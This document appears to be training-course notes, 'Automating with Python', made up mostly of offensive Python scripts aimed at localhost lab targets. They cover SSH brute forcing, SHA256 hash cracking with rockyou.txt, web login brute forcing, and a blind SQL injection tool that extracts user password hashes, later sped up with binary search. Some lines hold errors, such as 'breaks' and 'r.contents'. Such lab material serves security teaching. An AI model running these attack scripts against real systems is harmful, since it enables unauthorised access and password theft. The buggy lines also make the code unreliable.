0305 | Automating with Python
Project #1 | SSH login brute forcing
- code | "ssh-brute.py"
note
The "passwords_list" file and an open ssh port is needed.
from pwn import * # to interact with the ssh service
import paramiko # for error handling
# under the hood the pwn module is making use of the paramiko module
host = "127.0.0.1" # localhost
username = "kali"
attempts = 0 # number of attempts
with open("ssh-common-passwords.txt", "r") as password_list:
for password in password_list:
password = password.strip("\n")
# us try-catch for authentication errors
try:
print("[{}] Attempting password: '{}'!".format(attempts, password))
response = ssh(host=host, user=username, password=password, timeout=1)
# authenticated connection
if response.connected():
print("[>] Valid password found: '{}'!".format(password))
response.close()
# already found the valid one, no need to look further
break
response.close()
except paramiko.ssh_exception.AuthenticationException:
print("[X] Invalid password!")
attempts += 1
Project #2 | SHA256 password cracking
- code | "sha256-crack.py"
from pwn import*
import sys
if len(sys.argv) != 2:
print("Invalid arguments!")
print(">> {} <sha256sum>".format(sys.argv[0]))
exit()
wanted_hash = sys.argv[1]
print(wanted_hash)
password_file = "rockyou.txt"
attempts = 0 # for recording the number of attempts made
# imported from the pwn module
with log.progress("Attempting to crack: {}!\n".format(wanted_hash)) as p:
with open(password_file, "r", encoding='latin-1') as password_list:
for password in password_list:
password = password.strip("\n").encode('latin-1')
# create the hash for the current password -- imported from pwn module
# sha256 in hex format!!!
password_hash = sha256sumhex(password)
# update the status of the cracking job
p.status("[{}] {} == {}".format(attempts, password.decode('latin-1'), password_hash))
if password_hash == wanted_hash:
p.success("Passoword hash found after {} attempts! {} hashes to {}!".format(attempts, password.decode('latin-1'), password_hash))
exit()
attempts += 1
# failure -- no matching password found
p.failure("Password hash not found!")
# to run it -- test with 'python'
# `echo -ne python | sha256sum`
# `python3 sha256-crack.py 11a4a60b518bf24989d481468076e5d5982884626aed9faeb35b8576fcd223e1`
Project #3 | Web login form brute forcing
- code | "web-brute.py"
import requests
import sys # for creating our own progress bar
target = "http://127.0.0.1:5000"
usernames = ["admin", "user", "test"]
passwords = "top-100.txt"
# displayed after successful authentication/login
needle = "Welcome back"
for username in usernames:
with open(passwords, "r") as passwords_list:
for password in passwords_list:
# clean it up
password = password.strip("\n").encode()
# write out and jump back to the start of the line with carrige return
sys.stdout.write("[X] Attempting user:password -> {}:{}\r".format(username, password.decode()))
# flush the buffer
sys.stdout.flush()
# sending the request
r = requests.post(target, data={"username": username, "password": password})
# check if successful login
if needle.encode() in r.content:
sys.stdout.write("\n")
sys.stdout.write("\t[>>>>>] Valid password '{}' found for user '{}'!".format(password.decode(), username))
sys.exit()
sys.stdout.flush()
sys.stdout.write("\n")
sys.stdout.write("\tNo password found for '{}'!".format(username))
sys.stdout.write("\n")
Project #4 | Exploiting a SQL injection
- automating performing an SQL injection with python
- exploiting a blind SQL injection vulnerability
- code | "sql-inject.py"
import requests
total_queries = 0
# the charset for the injection
# the extracted data format will be in hex
charset = "0123456789abcdef"
target = "http://127.0.0.1:5000"
needle = "Welcome back"
def injected_query(payload):
global total_queries
# make the request -- blind sql injection
r = requests.post(target, data = {"username" : "admin' and {}--".format(payload), "password":"password"})
total_queries += 1
# check if request succeeded or failed -- use it as inference
return needle.encode() not in r.contents
def boolean_query(offset, user_id, character, operator=">"):
payload = "(select hex(substr(password,{},1)) from user where id = {}) {} hex('{}')".format(offset+1, user_id, operator, character)
return injected_query(payload)
# check if user is valid
def invalid_user(user_id):
payload = "(select id from user where id = {}) >= 0".format(user_id)
return injected_query(payload)
# check the length of the user's password hash
# increment till it can't be bigger --> proper length found
def password_length(user_id):
i = 0
while True:
payload = "(select length(password) from user where id = {} and length(password) <= {} limit 1)".format(user_id, i)
if not injected_query(payload):
return i
i += 1
# identify the user's hash -- brute-force chars for the indexes
def extract_hash(charset, user_id, password_length):
# the correcth hash
found = ""
# try every char for all the indexes
for i in range(0, password_length):
for j in range(len(charset)):
# i:offset -- if valid request -> correct char found
if boolean_query(i, user_id, charset[j]):
found += charset[j]
breaks
# the correct password hash
return found
# print the current number of attempts and reset the counter
def total_queries_taken():
global total_queries
print("\t\t[!] {} total queries!".format(total_queries))
total_queries = 0
# for interacting with the functions
while True:
try:
user_id = input("> Enter a user ID to extract the password hash: ")
# check for valid user
if not invalid_user(user_id):
# identify the password's hash length for the user
user_password_length = password_length(user_id)
print("\t[-] User {} has length: {}".format(user_id, user_password_length))
total_queries_taken()
# get the user's password hash
print("\t[-] User {} hash: {}".format(user_id, extract_hash(charset, int(user_id), user_password_length)))
total_queries_taken()
else:
print("\t[X] User {} does not exist!".format(user_id))
except KeyboardInterrupt:
break
Project #5 | Exploiting a restricted SQL injection
- Exploiting a restricted SQLi
- Why not use
SQLmap
?- What if the tool can't find the query?
- What if there was a limit on the number of queries?
- example: access to an API key with limited amount or request/day
- How did our SQLi work anyway?
- Blind SQLi | we can extract 1 piece of information in a request
- 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f
- only one question --> either True or False
- Blind SQLi | we can extract 1 piece of information in a request
- What if we could only make 128 queries?
- 32 'character' MD5 password
- 16 'options' per character
- 128/32 = 4 requests per 'character'
- Tricky to do with existing tools, solvable problem with a custom script!
- Why not use
- Binary Search
- We know the minimum and maximum values (0 and f)
- Instead of guessing the unknown value, compare with the middle
- If less, compare again, with the new minimum and maximum from the left
- If more, compare again, with the new minimum and maximum from the right
- Binary Search | examples
- result: 6
Query # Alphabet Question Result 1 0123456789abcdef >7? False 2 01234567 >3? True 3 34567 >5? True 4 567 >6? False - result: b
Query # Alphabet Question Result 1 0123456789abcdef >7? True 2 789abcdef >b? False 3 789ab >9? True 4 9ab >a? True
- result: 6
- code | Improve on "sql-inject.py"
import requests
total_queries = 0
# the charset for the injection
# the extracted data format will be in hex
charset = "0123456789abcdef"
target = "http://127.0.0.1:5000"
needle = "Welcome back"
def injected_query(payload):
global total_queries
# make the request -- blind sql injection
r = requests.post(target, data = {"username" : "admin' and {}--".format(payload), "password":"password"})
total_queries += 1
# check if request succeeded or failed -- use it as inference
return needle.encode() not in r.contents
def boolean_query(offset, user_id, character, operator=">"):
payload = "(select hex(substr(password,{},1)) from user where id = {}) {} hex('{}')".format(offset+1, user_id, operator, character)
return injected_query(payload)
# check if user is valid
def invalid_user(user_id):
payload = "(select id from user where id = {}) >= 0".format(user_id)
return injected_query(payload)
# check the length of the user's password hash
# increment till it can't be bigger --> proper length found
def password_length(user_id):
i = 0
while True:
payload = "(select length(password) from user where id = {} and length(password) <= {} limit 1)".format(user_id, i)
if not injected_query(payload):
return i
i += 1
# identify the user's hash -- brute-force chars for the indexes
def extract_hash(charset, user_id, password_length):
# the correcth hash
found = ""
# try every char for all the indexes
for i in range(0, password_length):
for j in range(len(charset)):
# i:offset -- if valid request -> correct char found
if boolean_query(i, user_id, charset[j]):
found += charset[j]
breaks
# the correct password hash
return found
######### IMPROVED PART -- BINARY SEARCH
def extract_hash_bst(charset, user_id, password_length):
found = ""
for index in range(0, password_length):
start = 0
end = len(charset) - 1
# while we still have a middle
while start <= end:
if end - start == 1:
# our search space is exhausted -- we do not need to keep iterating over the middle
if start == 0 and boolean_query(index, user_id, charset[start]):
found += charset[start]
else:
found += charset[start + 1]
break
else:
# search space in NOT yet exhausted
middle = (start + end) // 2
if boolean_query(index, user_id, charset[middle]):
end = middle
else:
start = middle
return found
######### IMPROVED PART -- BINARY SEARCH
# print the current number of attempts and reset the counter
def total_queries_taken():
global total_queries
print("\t\t[!] {} total queries!".format(total_queries))
total_queries = 0
# for interacting with the functions
while True:
try:
user_id = input("> Enter a user ID to extract the password hash: ")
# check for valid user
if not invalid_user(user_id):
# identify the password's hash length for the user
user_password_length = password_length(user_id)
print("\t[-] User {} has length: {}".format(user_id, user_password_length))
total_queries_taken()
# get the user's password hash
print("\t[-] User {} hash: {}".format(user_id, extract_hash(charset, int(user_id), user_password_length)))
total_queries_taken()
######### IMPROVED PART -- BINARY SEARCH
print("\t[-] User {} hash: {}".format(user_id, extract_hash_bst(charset, int(user_id), user_password_length)))
total_queries_taken()
######### IMPROVED PART -- BINARY SEARCH
else:
print("\t[X] User {} does not exist!".format(user_id))
except KeyboardInterrupt:
break